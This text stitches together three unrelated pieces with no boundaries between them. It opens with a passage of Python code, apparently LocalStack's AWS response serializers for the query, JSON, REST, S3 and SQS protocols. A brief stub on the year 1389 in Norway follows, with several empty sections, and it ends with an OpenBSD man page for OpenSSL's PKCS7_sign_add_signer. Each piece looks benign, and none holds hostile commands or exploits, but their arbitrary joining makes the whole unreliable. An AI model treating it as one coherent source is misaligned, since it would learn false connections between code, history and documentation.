isinstance(shape, StructureShape) else [] for name in shape_members: member_shape = shape_members[name] location = member_shape.serialization.get("location") if not location: continue if name not in parameters: # ignores optional keys continue key = member_shape.serialization.get("name", name) value = parameters[name] if value is None: continue if location == "header": response.headers[key] = self._serialize_header_value(member_shape, value) elif location == "headers": header_prefix = key self._serialize_header_map(header_prefix, response, value) elif location == "statusCode": response.status_code = int(value) def _serialize_header_map(self, prefix: str, response: Response, params: dict) -> None: """Serializes the header map for the location trait "headers".""" for key, val in params.items(): actual_key = prefix + key response.headers[actual_key] = val def _serialize_header_value(self, shape: Shape, value: Any): """Serializes a value for the location trait "header".""" if shape.type_name == "timestamp": datetime_obj = parse_to_aware_datetime(value) timestamp_format = shape.serialization.get( "timestampFormat", self.HEADER_TIMESTAMP_FORMAT ) return self._convert_timestamp_to_str(datetime_obj, timestamp_format) elif shape.type_name == "list": converted_value = [ self._serialize_header_value(shape.member, v) for v in value if v is not None ] return ",".join(converted_value) elif shape.type_name == "boolean": # Set the header value to "true" if the given value is truthy, otherwise set the header value to "false". return "true" if value else "false" elif is_json_value_header(shape): # Serialize with no spaces after separators to save space in # the header. return self._get_base64(json.dumps(value, separators=(",", ":"))) else: return value def _partition_members(self, parameters: dict, shape: Optional[Shape]) -> Tuple[dict, dict]: """Separates the top-level keys in the given parameters dict into header- and payload-located params.""" if not isinstance(shape, StructureShape): # If the shape isn't a structure, we default to the whole response being parsed in the body. # Non-payload members are only loaded in the top-level hierarchy and those are always structures. return {}, parameters header_params = {} payload_params = {} shape_members = shape.members for name in shape_members: member_shape = shape_members[name] if name not in parameters: continue location = member_shape.serialization.get("location") if location: header_params[name] = parameters[name] else: payload_params[name] = parameters[name] return header_params, payload_params class RestXMLResponseSerializer(BaseRestResponseSerializer, BaseXMLResponseSerializer): """ The ``RestXMLResponseSerializer`` is responsible for the serialization of responses from services with the ``rest-xml`` protocol. It combines the ``BaseRestResponseSerializer`` (for the ReST specific logic) with the ``BaseXMLResponseSerializer`` (for the XML body response serialization). """ pass class QueryResponseSerializer(BaseXMLResponseSerializer): """ The ``QueryResponseSerializer`` is responsible for the serialization of responses from services which use the ``query`` protocol. The responses of these services also use XML. It is basically a subset of the features, since it does not allow any payload or location traits. """ def _serialize_response( self, parameters: dict, response: Response, shape: Optional[Shape], shape_members: dict, operation_model: OperationModel, mime_type: str, request_id: str, ) -> None: """ Serializes the given parameters as XML for the query protocol. :param parameters: The user input params :param response: The final serialized Response :param shape: Describes the expected output shape (can be None in case of an "empty" response) :param shape_members: The members of the output struct shape :param operation_model: The specification of the operation of which the response is serialized here :param mime_type: Mime type which should be used to encode the payload :param request_id: autogenerated AWS request ID identifying the original request :return: None - the given `serialized` dict is modified """ response.set_response( self._encode_payload( self._serialize_body_params( parameters, shape, operation_model, mime_type, request_id ) ) ) def _serialize_body_params_to_xml( self, params: dict, shape: Shape, operation_model: OperationModel, mime_type: str ) -> ETree.Element: # The Query protocol responses have a root element which is not contained in the specification file. # Therefore, we first call the super function to perform the normal XML serialization, and afterwards wrap the # result in a root element based on the operation name. node = super()._serialize_body_params_to_xml(params, shape, operation_model, mime_type) # Check if we need to add a namespace attr = ( {"xmlns": operation_model.metadata.get("xmlNamespace")} if "xmlNamespace" in operation_model.metadata else None ) # Create the root element and add the result of the XML serializer as a child node root = ETree.Element(f"{operation_model.name}Response", attr) if node is not None: root.append(node) return root def _prepare_additional_traits_in_xml(self, root: Optional[ETree.Element], request_id: str): # Add the response metadata here (it's not defined in the specs) # For the ec2 and the query protocol, the root cannot be None at this time. response_metadata = ETree.SubElement(root, "ResponseMetadata") request_id_element = ETree.SubElement(response_metadata, "RequestId") request_id_element.text = request_id class EC2ResponseSerializer(QueryResponseSerializer): """ The ``EC2ResponseSerializer`` is responsible for the serialization of responses from services which use the ``ec2`` protocol (basically the EC2 service). This protocol is basically equal to the ``query`` protocol with only a few subtle differences. """ def _serialize_error( self, error: ServiceException, response: Response, shape: StructureShape, operation_model: OperationModel, mime_type: str, request_id: str, ) -> None: # EC2 errors look like: # <Response> # <Errors> # <Error> # <Code>InvalidInstanceID.Malformed</Code> # <Message>Invalid id: "1343124"</Message> # </Error> # </Errors> # <RequestID>12345</RequestID> # </Response> # This is different from QueryParser in that it's RequestID, not RequestId # and that the Error tag is in an enclosing Errors tag. attr = ( {"xmlns": operation_model.metadata.get("xmlNamespace")} if "xmlNamespace" in operation_model.metadata else None ) root = ETree.Element("Response", attr) errors_tag = ETree.SubElement(root, "Errors") error_tag = ETree.SubElement(errors_tag, "Error") self._add_error_tags(error, error_tag, mime_type) request_id_element = ETree.SubElement(root, "RequestID") request_id_element.text = request_id response.set_response(self._encode_payload(self._node_to_string(root, mime_type))) def _prepare_additional_traits_in_xml(self, root: Optional[ETree.Element], request_id: str): # The EC2 protocol does not use the root output shape, therefore we need to remove the hierarchy level # below the root level if len(root) > 0: output_node = root[0] for child in output_node: root.append(child) root.remove(output_node) # Add the requestId here (it's not defined in the specs) # For the ec2 and the query protocol, the root cannot be None at this time. request_id_element = ETree.SubElement(root, "requestId") request_id_element.text = request_id class JSONResponseSerializer(ResponseSerializer): """ The ``JSONResponseSerializer`` is responsible for the serialization of responses from services with the ``json`` protocol. It implements the JSON response body serialization, which is also used by the ``RestJSONResponseSerializer``. """ JSON_TYPES = [APPLICATION_JSON, APPLICATION_AMZ_JSON_1_0, APPLICATION_AMZ_JSON_1_1] CBOR_TYPES = [APPLICATION_CBOR, APPLICATION_AMZ_CBOR_1_1] SUPPORTED_MIME_TYPES = JSON_TYPES + CBOR_TYPES TIMESTAMP_FORMAT = "unixtimestamp" def _serialize_error( self, error: ServiceException, response: Response, shape: StructureShape, operation_model: OperationModel, mime_type: str, request_id: str, ) -> None: body = dict() # TODO implement different service-specific serializer configurations # - currently we set both, the `__type` member as well as the `X-Amzn-Errortype` header # - the specification defines that it's either the __type field OR the header response.headers["X-Amzn-Errortype"] = error.code body["__type"] = error.code if shape: remaining_params = {} # TODO add a possibility to serialize simple non-modelled errors (like S3 NoSuchBucket#BucketName) for member in shape.members: if hasattr(error, member): remaining_params[member] = getattr(error, member) # Default error message fields can sometimes have different casing in the specs elif member.lower() in ["code", "message"] and hasattr(error, member.lower()): remaining_params[member] = getattr(error, member.lower()) self._serialize(body, remaining_params, shape, None, mime_type) # Only set the message if it has not been set with the shape members if "message" not in body and "Message" not in body: message = self._get_error_message(error) if message is not None: body["message"] = message if mime_type in self.CBOR_TYPES: response.set_response(cbor2_dumps(body, datetime_as_timestamp=True)) response.content_type = mime_type else: response.set_json(body) def _serialize_response( self, parameters: dict, response: Response, shape: Optional[Shape], shape_members: dict, operation_model: OperationModel, mime_type: str, request_id: str, ) -> None: if mime_type in self.CBOR_TYPES: response.content_type = mime_type else: json_version = operation_model.metadata.get("jsonVersion") if json_version is not None: response.headers["Content-Type"] = "application/x-amz-json-%s" % json_version response.set_response( self._serialize_body_params(parameters, shape, operation_model, mime_type, request_id) ) def _serialize_body_params( self, params: dict, shape: Shape, operation_model: OperationModel, mime_type: str, request_id: str, ) -> Optional[str]: body = {} if shape is not None: self._serialize(body, params, shape, None, mime_type) if mime_type in self.CBOR_TYPES: return cbor2_dumps(body, datetime_as_timestamp=True) else: return json.dumps(body) def _serialize(self, body: dict, value: Any, shape, key: Optional[str], mime_type: str): """This method dynamically invokes the correct `_serialize_type_*` method for each shape type.""" try: method = getattr(self, "_serialize_type_%s" % shape.type_name, self._default_serialize) method(body, value, shape, key, mime_type) except (TypeError, ValueError, AttributeError) as e: raise ProtocolSerializerError( f"Invalid type when serializing {shape.name}: '{value}' cannot be parsed to {shape.type_name}." ) from e def _serialize_type_structure( self, body: dict, value: dict, shape: StructureShape, key: Optional[str], mime_type: str ): if value is None: return if shape.is_document_type: body[key] = value else: if key is not None: # If a key is provided, this is a result of a recursive # call, so we need to add a new child dict as the value # of the passed in serialized dict. We'll then add # all the structure members as key/vals in the new serialized # dictionary we just created. new_serialized = {} body[key] = new_serialized body = new_serialized members = shape.members for member_key, member_value in value.items(): if member_value is None: continue try: member_shape = members[member_key] except KeyError: LOG.warning( "Response object %s contains a member which is not specified: %s", shape.name, member_key, ) continue if "name" in member_shape.serialization: member_key = member_shape.serialization["name"] self._serialize(body, member_value, member_shape, member_key, mime_type) def _serialize_type_map( self, body: dict, value: dict, shape: MapShape, key: str, mime_type: str ): if value is None: return map_obj = {} body[key] = map_obj for sub_key, sub_value in value.items(): if sub_value is not None: self._serialize(map_obj, sub_value, shape.value, sub_key, mime_type) def _serialize_type_list( self, body: dict, value: list, shape: ListShape, key: str, mime_type: str ): if value is None: return list_obj = [] body[key] = list_obj for list_item in value: if list_item is not None: wrapper = {} # The JSON list serialization is the only case where we aren't # setting a key on a dict. We handle this by using # a __current__ key on a wrapper dict to serialize each # list item before appending it to the serialized list. self._serialize(wrapper, list_item, shape.member, "__current__", mime_type) list_obj.append(wrapper["__current__"]) def _default_serialize(self, body: dict, value: Any, _, key: str, __): body[key] = value def _serialize_type_timestamp( self, body: dict, value: Any, shape: Shape, key: str, mime_type: str ): if mime_type in self.CBOR_TYPES: # CBOR has native support for timestamps body[key] = value else: timestamp_format = shape.serialization.get("timestampFormat") body[key] = self._convert_timestamp_to_str(value, timestamp_format) def _serialize_type_blob( self, body: dict, value: Union[str, bytes], _, key: str, mime_type: str ): if mime_type in self.CBOR_TYPES: body[key] = value else: body[key] = self._get_base64(value) def _prepare_additional_traits_in_response( self, response: Response, operation_model: OperationModel, request_id: str ): response.headers["x-amzn-requestid"] = request_id response = super()._prepare_additional_traits_in_response( response, operation_model, request_id ) return response class RestJSONResponseSerializer(BaseRestResponseSerializer, JSONResponseSerializer): """ The ``RestJSONResponseSerializer`` is responsible for the serialization of responses from services with the ``rest-json`` protocol. It combines the ``BaseRestResponseSerializer`` (for the ReST specific logic) with the ``JSONResponseSerializer`` (for the JSOn body response serialization). """ def _serialize_content_type( self, serialized: Response, shape: Shape, shape_members: dict, mime_type: str ): """Set Content-Type to application/json for all structured bodies.""" payload = shape.serialization.get("payload") if shape is not None else None if self._has_streaming_payload(payload, shape_members): # Don't apply content-type to streaming bodies return has_body = serialized.data != b"" has_content_type = self._has_header("Content-Type", serialized.headers) if has_body and not has_content_type: serialized.headers["Content-Type"] = mime_type class S3ResponseSerializer(RestXMLResponseSerializer): """ The ``S3ResponseSerializer`` adds some minor logic to handle S3 specific peculiarities with the error response serialization and the root node tag. """ SUPPORTED_MIME_TYPES = [APPLICATION_XML, TEXT_XML] _RESPONSE_ROOT_TAGS = { "CompleteMultipartUploadOutput": "CompleteMultipartUploadResult", "CopyObjectOutput": "CopyObjectResult", "CreateMultipartUploadOutput": "InitiateMultipartUploadResult", "DeleteObjectsOutput": "DeleteResult", "GetBucketAccelerateConfigurationOutput": "AccelerateConfiguration", "GetBucketAclOutput": "AccessControlPolicy", "GetBucketAnalyticsConfigurationOutput": "AnalyticsConfiguration", "GetBucketCorsOutput": "CORSConfiguration", "GetBucketEncryptionOutput": "ServerSideEncryptionConfiguration", "GetBucketIntelligentTieringConfigurationOutput": "IntelligentTieringConfiguration", "GetBucketInventoryConfigurationOutput": "InventoryConfiguration", "GetBucketLifecycleOutput": "LifecycleConfiguration", "GetBucketLifecycleConfigurationOutput": "LifecycleConfiguration", "GetBucketLoggingOutput": "BucketLoggingStatus", "GetBucketMetricsConfigurationOutput": "MetricsConfiguration", "NotificationConfigurationDeprecated": "NotificationConfiguration", "GetBucketOwnershipControlsOutput": "OwnershipControls", "GetBucketPolicyStatusOutput": "PolicyStatus", "GetBucketReplicationOutput": "ReplicationConfiguration", "GetBucketRequestPaymentOutput": "RequestPaymentConfiguration", "GetBucketTaggingOutput": "Tagging", "GetBucketVersioningOutput": "VersioningConfiguration", "GetBucketWebsiteOutput": "WebsiteConfiguration", "GetObjectAclOutput": "AccessControlPolicy", "GetObjectLegalHoldOutput": "LegalHold", "GetObjectLockConfigurationOutput": "ObjectLockConfiguration", "GetObjectRetentionOutput": "Retention", "GetObjectTaggingOutput": "Tagging", "GetObjectAttributesOutput": "GetObjectAttributesResponse", "GetPublicAccessBlockOutput": "PublicAccessBlockConfiguration", "ListBucketAnalyticsConfigurationsOutput": "ListBucketAnalyticsConfigurationResult", "ListBucketInventoryConfigurationsOutput": "ListInventoryConfigurationsResult", "ListBucketMetricsConfigurationsOutput": "ListMetricsConfigurationsResult", "ListBucketsOutput": "ListAllMyBucketsResult", "ListMultipartUploadsOutput": "ListMultipartUploadsResult", "ListObjectsOutput": "ListBucketResult", "ListObjectsV2Output": "ListBucketResult", "ListObjectVersionsOutput": "ListVersionsResult", "ListPartsOutput": "ListPartsResult", "UploadPartCopyOutput": "CopyPartResult", } XML_NAMESPACE = "path_to_url" def _serialize_response( self, parameters: dict, response: Response, shape: Optional[Shape], shape_members: dict, operation_model: OperationModel, mime_type: str, request_id: str, ) -> None: header_params, payload_params = self._partition_members(parameters, shape) self._process_header_members(header_params, response, shape) # "HEAD" responses are basically "GET" responses without the actual body. # Do not process the body payload in this case (setting a body could also manipulate the headers) # - If the response is a redirection, the body should be empty as well # - If the response is from a "PUT" request, the body should be empty except if there's a specific "payload" # field in the serialization (CopyObject and CopyObjectPart) http_method = operation_model.http.get("method") if ( http_method != "HEAD" and not 300 <= response.status_code < 400 and not (http_method == "PUT" and shape and not shape.serialization.get("payload")) ): self._serialize_payload( payload_params, response, shape, shape_members, operation_model, mime_type, request_id, ) self._serialize_content_type(response, shape, shape_members, mime_type) def _serialize_error( self, error: ServiceException, response: Response, shape: StructureShape, operation_model: OperationModel, mime_type: str, request_id: str, ) -> None: attr = ( {"xmlns": operation_model.metadata.get("xmlNamespace")} if "xmlNamespace" in operation_model.metadata else {} ) root = ETree.Element("Error", attr) self._add_error_tags(error, root, mime_type) request_id_element = ETree.SubElement(root, "RequestId") request_id_element.text = request_id header_params, payload_params = self._partition_members(vars(error), shape) self._add_additional_error_tags(payload_params, root, shape, mime_type) self._process_header_members(header_params, response, shape) response.set_response(self._encode_payload(self._node_to_string(root, mime_type))) def _serialize_body_params( self, params: dict, shape: Shape, operation_model: OperationModel, mime_type: str, request_id: str, ) -> Optional[str]: root = self._serialize_body_params_to_xml(params, shape, operation_model, mime_type) # S3 does not follow the specs on the root tag name for 41 of 44 operations root.tag = self._RESPONSE_ROOT_TAGS.get(root.tag, root.tag) self._prepare_additional_traits_in_xml(root, request_id) return self._node_to_string(root, mime_type) def _prepare_additional_traits_in_response( self, response: Response, operation_model: OperationModel, request_id: str ): """Adds the request ID to the headers (in contrast to the body - as in the Query protocol).""" response = super()._prepare_additional_traits_in_response( response, operation_model, request_id ) # s3 extended Request ID # mostly used internally on AWS and corresponds to a HostId response.headers["x-amz-id-2"] = ( "s9lzHYrFp76ZVxRcpX9+5cjAnEH2ROuNkd2BHfIa6UkFVdtjf5mKR3/eTPFvsiP/XV/VLi31234=" ) return response def _add_error_tags( self, error: ServiceException, error_tag: ETree.Element, mime_type: str ) -> None: code_tag = ETree.SubElement(error_tag, "Code") code_tag.text = error.code message = self._get_error_message(error) if message: self._default_serialize(error_tag, message, None, "Message", mime_type) else: # In S3, if there's no message, create an empty node self._create_empty_node(error_tag, "Message") if error.sender_fault: # The sender fault is either not set or "Sender" self._default_serialize(error_tag, "Sender", None, "Type", mime_type) @staticmethod def _create_empty_node(xmlnode: ETree.Element, name: str) -> None: ETree.SubElement(xmlnode, name) def _prepare_additional_traits_in_xml(self, root: Optional[ETree.Element], request_id: str): # some tools (Serverless) require a newline after the "<?xml ...>\n" preamble line, e.g., for LocationConstraint if root and not root.tail: root.tail = "\n" root.attrib["xmlns"] = self.XML_NAMESPACE @staticmethod def _timestamp_iso8601(value: datetime) -> str: """ This is very specific to S3, S3 returns an ISO8601 timestamp but with milliseconds always set to 000 Some SDKs are very picky about the length """ return value.strftime("%Y-%m-%dT%H:%M:%S.000Z") class SqsQueryResponseSerializer(QueryResponseSerializer): """ Unfortunately, SQS uses a rare interpretation of the XML protocol: It uses HTML entities within XML tag text nodes. For example: - Normal XML serializers: <Message>No need to escape quotes (like this: ") with HTML entities in XML.</Message> - SQS XML serializer: <Message>No need to escape quotes (like this: &quot;) with HTML entities in XML.</Message> None of the prominent XML frameworks for python allow HTML entity escapes when serializing XML. This serializer implements the following workaround: - Escape quotes and \r with their HTML entities (&quot; and &#xD;). - Since & is (correctly) escaped in XML, the serialized string contains &amp;quot; and &amp;#xD; - These double-escapes are corrected by replacing such strings with their original. """ # those are deleted from the JSON specs, but need to be kept for legacy reason (sent in 'x-amzn-query-error') QUERY_PREFIXED_ERRORS = { "BatchEntryIdsNotDistinct", "BatchRequestTooLong", "EmptyBatchRequest", "InvalidBatchEntryId", "MessageNotInflight", "PurgeQueueInProgress", "QueueDeletedRecently", "TooManyEntriesInBatchRequest", "UnsupportedOperation", } # Some error code changed between JSON and query, and we need to have a way to map it for legacy reason JSON_TO_QUERY_ERROR_CODES = { "InvalidParameterValueException": "InvalidParameterValue", "MissingRequiredParameterException": "MissingParameter", "AccessDeniedException": "AccessDenied", "QueueDoesNotExist": "AWS.SimpleQueueService.NonExistentQueue", "QueueNameExists": "QueueAlreadyExists", } SENDER_FAULT_ERRORS = ( QUERY_PREFIXED_ERRORS | JSON_TO_QUERY_ERROR_CODES.keys() | {"OverLimit", "ResourceNotFoundException"} ) def _default_serialize(self, xmlnode: ETree.Element, params: str, _, name: str, __) -> None: """ Ensures that we "mark" characters in the node's text which need to be specifically encoded. This is necessary to easily identify these specific characters later, after the standard XML serialization is done, while not replacing any other occurrences of these characters which might appear in the serialized string. """ node = ETree.SubElement(xmlnode, name) node.text = ( str(params) .replace('"', '__marker__"__marker__') .replace("\r", "__marker__-r__marker__") ) def _node_to_string(self, root: Optional[ETree.ElementTree], mime_type: str) -> Optional[str]: """Replaces the previously "marked" characters with their encoded value.""" generated_string = super()._node_to_string(root, mime_type) if generated_string is None: return None generated_string = to_str(generated_string) # Undo the second escaping of the & # Undo the second escaping of the carriage return (\r) if mime_type == APPLICATION_JSON: # At this point the json was already dumped and escaped, so we replace directly. generated_string = generated_string.replace(r"__marker__\"__marker__", r"\"").replace( "__marker__-r__marker__", r"\r" ) else: generated_string = generated_string.replace('__marker__"__marker__', "&quot;").replace( "__marker__-r__marker__", "&#xD;" ) return to_bytes(generated_string) def _add_error_tags( self, error: ServiceException, error_tag: ETree.Element, mime_type: str ) -> None: """The SQS API stubs is now generated from JSON specs, and some fields have been modified""" code_tag = ETree.SubElement(error_tag, "Code") if error.code in self.JSON_TO_QUERY_ERROR_CODES: error_code = self.JSON_TO_QUERY_ERROR_CODES[error.code] elif error.code in self.QUERY_PREFIXED_ERRORS: error_code = f"AWS.SimpleQueueService.{error.code}" else: error_code = error.code code_tag.text = error_code message = self._get_error_message(error) if message: self._default_serialize(error_tag, message, None, "Message", mime_type) if error.code in self.SENDER_FAULT_ERRORS or error.sender_fault: # The sender fault is either not set or "Sender" self._default_serialize(error_tag, "Sender", None, "Type", mime_type) class SqsJsonResponseSerializer(JSONResponseSerializer): # those are deleted from the JSON specs, but need to be kept for legacy reason (sent in 'x-amzn-query-error') QUERY_PREFIXED_ERRORS = { "BatchEntryIdsNotDistinct", "BatchRequestTooLong", "EmptyBatchRequest", "InvalidBatchEntryId", "MessageNotInflight", "PurgeQueueInProgress", "QueueDeletedRecently", "TooManyEntriesInBatchRequest", "UnsupportedOperation", } # Some error code changed between JSON and query, and we need to have a way to map it for legacy reason JSON_TO_QUERY_ERROR_CODES = { "InvalidParameterValueException": "InvalidParameterValue", "MissingRequiredParameterException": "MissingParameter", "AccessDeniedException": "AccessDenied", "QueueDoesNotExist": "AWS.SimpleQueueService.NonExistentQueue", "QueueNameExists": "QueueAlreadyExists", } def _serialize_error( self, error: ServiceException, response: Response, shape: StructureShape, operation_model: OperationModel, mime_type: str, request_id: str, ) -> None: """ Overrides _serialize_error as SQS has a special header for query API legacy reason: 'x-amzn-query-error', which contained the exception code as well as a Sender field. Ex: 'x-amzn-query-error': 'InvalidParameterValue;Sender' """ # TODO: for body["__type"] = error.code, it seems AWS differs from what we send for SQS # AWS: "com.amazon.coral.service#InvalidParameterValueException" # or AWS: "com.amazonaws.sqs#BatchRequestTooLong" # LocalStack: "InvalidParameterValue" super()._serialize_error(error, response, shape, operation_model, mime_type, request_id) # We need to add a prefix to certain errors, as they have been deleted in the specs. These will not change if error.code in self.JSON_TO_QUERY_ERROR_CODES: code = self.JSON_TO_QUERY_ERROR_CODES[error.code] elif error.code in self.QUERY_PREFIXED_ERRORS: code = f"AWS.SimpleQueueService.{error.code}" else: code = error.code response.headers["x-amzn-query-error"] = f"{code};Sender" def gen_amzn_requestid(): """ Generate generic AWS request ID. 3 uses a different format and set of request Ids. Examples: 996d38a0-a4e9-45de-bad4-480cd962d208 b9260553-df1b-4db6-ae41-97b89a5f85ea """ return long_uid() @functools.cache def create_serializer(service: ServiceModel) -> ResponseSerializer: """ Creates the right serializer for the given service model. :param service: to create the serializer for :return: ResponseSerializer which can handle the protocol of the service """ # Unfortunately, some services show subtle differences in their serialized responses, even though their # specification states they implement the same protocol. # Since some clients might be stricter / less resilient than others, we need to mimic the serialization of the # specific services as close as possible. # Therefore, the service-specific serializer implementations (basically the implicit / informally more specific # protocol implementation) has precedence over the more general protocol-specific serializers. service_specific_serializers = { "sqs": {"json": SqsJsonResponseSerializer, "query": SqsQueryResponseSerializer}, "s3": {"rest-xml": S3ResponseSerializer}, } protocol_specific_serializers = { "query": QueryResponseSerializer, "json": JSONResponseSerializer, "rest-json": RestJSONResponseSerializer, "rest-xml": RestXMLResponseSerializer, "ec2": EC2ResponseSerializer, } # Try to select a service- and protocol-specific serializer implementation if ( service.service_name in service_specific_serializers and service.protocol in service_specific_serializers[service.service_name] ): return service_specific_serializers[service.service_name][service.protocol]() else: # Otherwise, pick the protocol-specific serializer for the protocol of the service return protocol_specific_serializers[service.protocol]() def aws_response_serializer( service_name: str, operation: str, protocol: Optional[ProtocolName] = None ): """ A decorator for an HTTP route that can serialize return values or exceptions into AWS responses. This can be used to create AWS request handlers in a convenient way. Example usage:: from localstack.http import route, Request from localstack.aws.api.sqs import ListQueuesResult @route("/_aws/sqs/queues") @aws_response_serializer("sqs", "ListQueues") def my_route(request: Request): if some_condition_on_request: raise CommonServiceError("...") # <- will be serialized into an error response return ListQueuesResult(QueueUrls=...) # <- object from the SQS API will be serialized :param service_name: the AWS service (e.g., "sqs", "lambda") :param protocol: the protocol of the AWS service to serialize to. If not set (by default) the default protocol of the service in botocore is used. :param operation: the operation name (e.g., "ReceiveMessage", "ListFunctions") :returns: a decorator """ def _decorate(fn): service_model = load_service(service_name, protocol=protocol) operation_model = service_model.operation_model(operation) serializer = create_serializer(service_model) def _proxy(*args, **kwargs) -> WerkzeugResponse: # extract request from function invocation (decorator can be used for methods as well as for functions). if len(args) > 0 and isinstance(args[0], WerkzeugRequest): # function request = args[0] elif len(args) > 1 and isinstance(args[1], WerkzeugRequest): # method (arg[0] == self) request = args[1] elif "request" in kwargs: request = kwargs["request"] else: raise ValueError(f"could not find Request in signature of function {fn}") # TODO: we have no context here # TODO: maybe try to get the request ID from the headers first before generating a new one request_id = gen_amzn_requestid() try: response = fn(*args, **kwargs) if isinstance(response, WerkzeugResponse): return response return serializer.serialize_to_response( response, operation_model, request.headers, request_id ) except ServiceException as e: return serializer.serialize_error_to_response( e, operation_model, request.headers, request_id ) except Exception as e: return serializer.serialize_error_to_response( CommonServiceException( "InternalError", f"An internal error occurred: {e}", status_code=500 ), operation_model, request.headers, request_id, ) return _proxy return _decorate ```
Events in the year 1389 in Norway. Incumbents Monarch: Eric III (along with Margaret) Events 8 September - Eric III becomes king of Norway. Arts and literature Births Deaths References Norway
```groff .\" $OpenBSD: PKCS7_sign_add_signer.3,v 1.13 2020/06/10 11:43:08 schwarze Exp $ .\" full merge up to: OpenSSL df75c2bf Dec 9 01:02:36 2018 +0100 .\" .\" This file was written by Dr. Stephen Henson <steve@openssl.org>. .\" All rights reserved. .\" .\" Redistribution and use in source and binary forms, with or without .\" modification, are permitted provided that the following conditions .\" are met: .\" .\" 1. Redistributions of source code must retain the above copyright .\" notice, this list of conditions and the following disclaimer. .\" .\" 2. Redistributions in binary form must reproduce the above copyright .\" notice, this list of conditions and the following disclaimer in .\" the documentation and/or other materials provided with the .\" distribution. .\" .\" 3. All advertising materials mentioning features or use of this .\" software must display the following acknowledgment: .\" "This product includes software developed by the OpenSSL Project .\" for use in the OpenSSL Toolkit. (path_to_url" .\" .\" 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to .\" endorse or promote products derived from this software without .\" prior written permission. For written permission, please contact .\" openssl-core@openssl.org. .\" .\" 5. Products derived from this software may not be called "OpenSSL" .\" nor may "OpenSSL" appear in their names without prior written .\" permission of the OpenSSL Project. .\" .\" 6. Redistributions of any form whatsoever must retain the following .\" acknowledgment: .\" "This product includes software developed by the OpenSSL Project .\" for use in the OpenSSL Toolkit (path_to_url" .\" .\" THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY .\" EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE .\" IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR .\" PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR .\" ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, .\" SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT .\" NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; .\" LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) .\" HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, .\" STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) .\" ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED .\" OF THE POSSIBILITY OF SUCH DAMAGE. .\" .Dd $Mdocdate: June 10 2020 $ .Dt PKCS7_SIGN_ADD_SIGNER 3 .Os .Sh NAME .Nm PKCS7_sign_add_signer .Nd add a signer to a SignedData structure .Sh SYNOPSIS .In openssl/pkcs7.h .Ft PKCS7_SIGNER_INFO * .Fo PKCS7_sign_add_signer .Fa "PKCS7 *p7" .Fa "X509 *signcert" .Fa "EVP_PKEY *pkey" .Fa "const EVP_MD *md" .Fa "int flags" .Fc .Sh DESCRIPTION .Fn PKCS7_sign_add_signer adds a signer with certificate .Fa signcert and private key .Fa pkey using message digest .Fa md to a .Vt PKCS7 signed data structure .Fa p7 . .Pp The .Vt PKCS7 structure should be obtained from an initial call to .Xr PKCS7_sign 3 with the flag .Dv PKCS7_PARTIAL set or, in the case or re-signing, a valid .Vt PKCS7 signed data structure. .Pp If the .Fa md parameter is .Dv NULL , then the default digest for the public key algorithm will be used. .Pp Unless the .Dv PKCS7_REUSE_DIGEST flag is set, the returned .Dv PKCS7 structure is not complete and must be finalized either by streaming (if applicable) or by a call to .Xr PKCS7_final 3 . .Pp The main purpose of this function is to provide finer control over a PKCS#7 signed data structure where the simpler .Xr PKCS7_sign 3 function defaults are not appropriate, for example if multiple signers or non default digest algorithms are needed. .Pp Any of the following flags (OR'ed together) can be passed in the .Fa flags parameter. .Pp If .Dv PKCS7_REUSE_DIGEST is set, then an attempt is made to copy the content digest value from the .Vt PKCS7 structure: to add a signer to an existing structure. An error occurs if a matching digest value cannot be found to copy. The returned .Vt PKCS7 structure will be valid and finalized when this flag is set. .Pp If .Dv PKCS7_PARTIAL is set in addition to .Dv PKCS7_REUSE_DIGEST , then the .Dv PKCS7_SIGNER_INO structure will not be finalized, so additional attributes can be added. In this case an explicit call to .Fn PKCS7_SIGNER_INFO_sign is needed to finalize it. .Pp If .Dv PKCS7_NOCERTS is set, the signer's certificate will not be included in the .Vt PKCS7 structure, though the signer's certificate must still be supplied in the .Fa signcert parameter. This can reduce the size of the signature if the signers certificate can be obtained by other means: for example a previously signed message. .Pp The signedData structure includes several PKCS#7 authenticatedAttributes including the signing time, the PKCS#7 content type and the supported list of ciphers in an SMIMECapabilities attribute. If .Dv PKCS7_NOATTR is set, then no authenticatedAttributes will be used. If .Dv PKCS7_NOSMIMECAP is set, then just the SMIMECapabilities are omitted. .Pp If present, the SMIMECapabilities attribute indicates support for the following algorithms: triple DES, 128-bit RC2, 64-bit RC2, DES and 40-bit RC2. If any of these algorithms is disabled, then it will not be included. .Pp .Fn PKCS7_sign_add_signer returns an internal pointer to the .Vt PKCS7_SIGNER_INFO structure just added, which can be used to set additional attributes with the functions described in .Xr PKCS7_add_attribute 3 before it is finalized. .Sh RETURN VALUES .Fn PKCS7_sign_add_signer returns an internal pointer to the .Vt PKCS7_SIGNER_INFO structure just added or .Dv NULL if an error occurs. In some cases of failure, the reason can be determined with .Xr ERR_get_error 3 . .Sh SEE ALSO .Xr EVP_DigestInit 3 , .Xr PKCS7_add_attribute 3 , .Xr PKCS7_final 3 , .Xr PKCS7_get_signer_info 3 , .Xr PKCS7_new 3 , .Xr PKCS7_sign 3 .Sh HISTORY .Fn PKCS7_sign_add_signer first appeared in OpenSSL 1.0.0 and has been available since .Ox 4.9 . ```
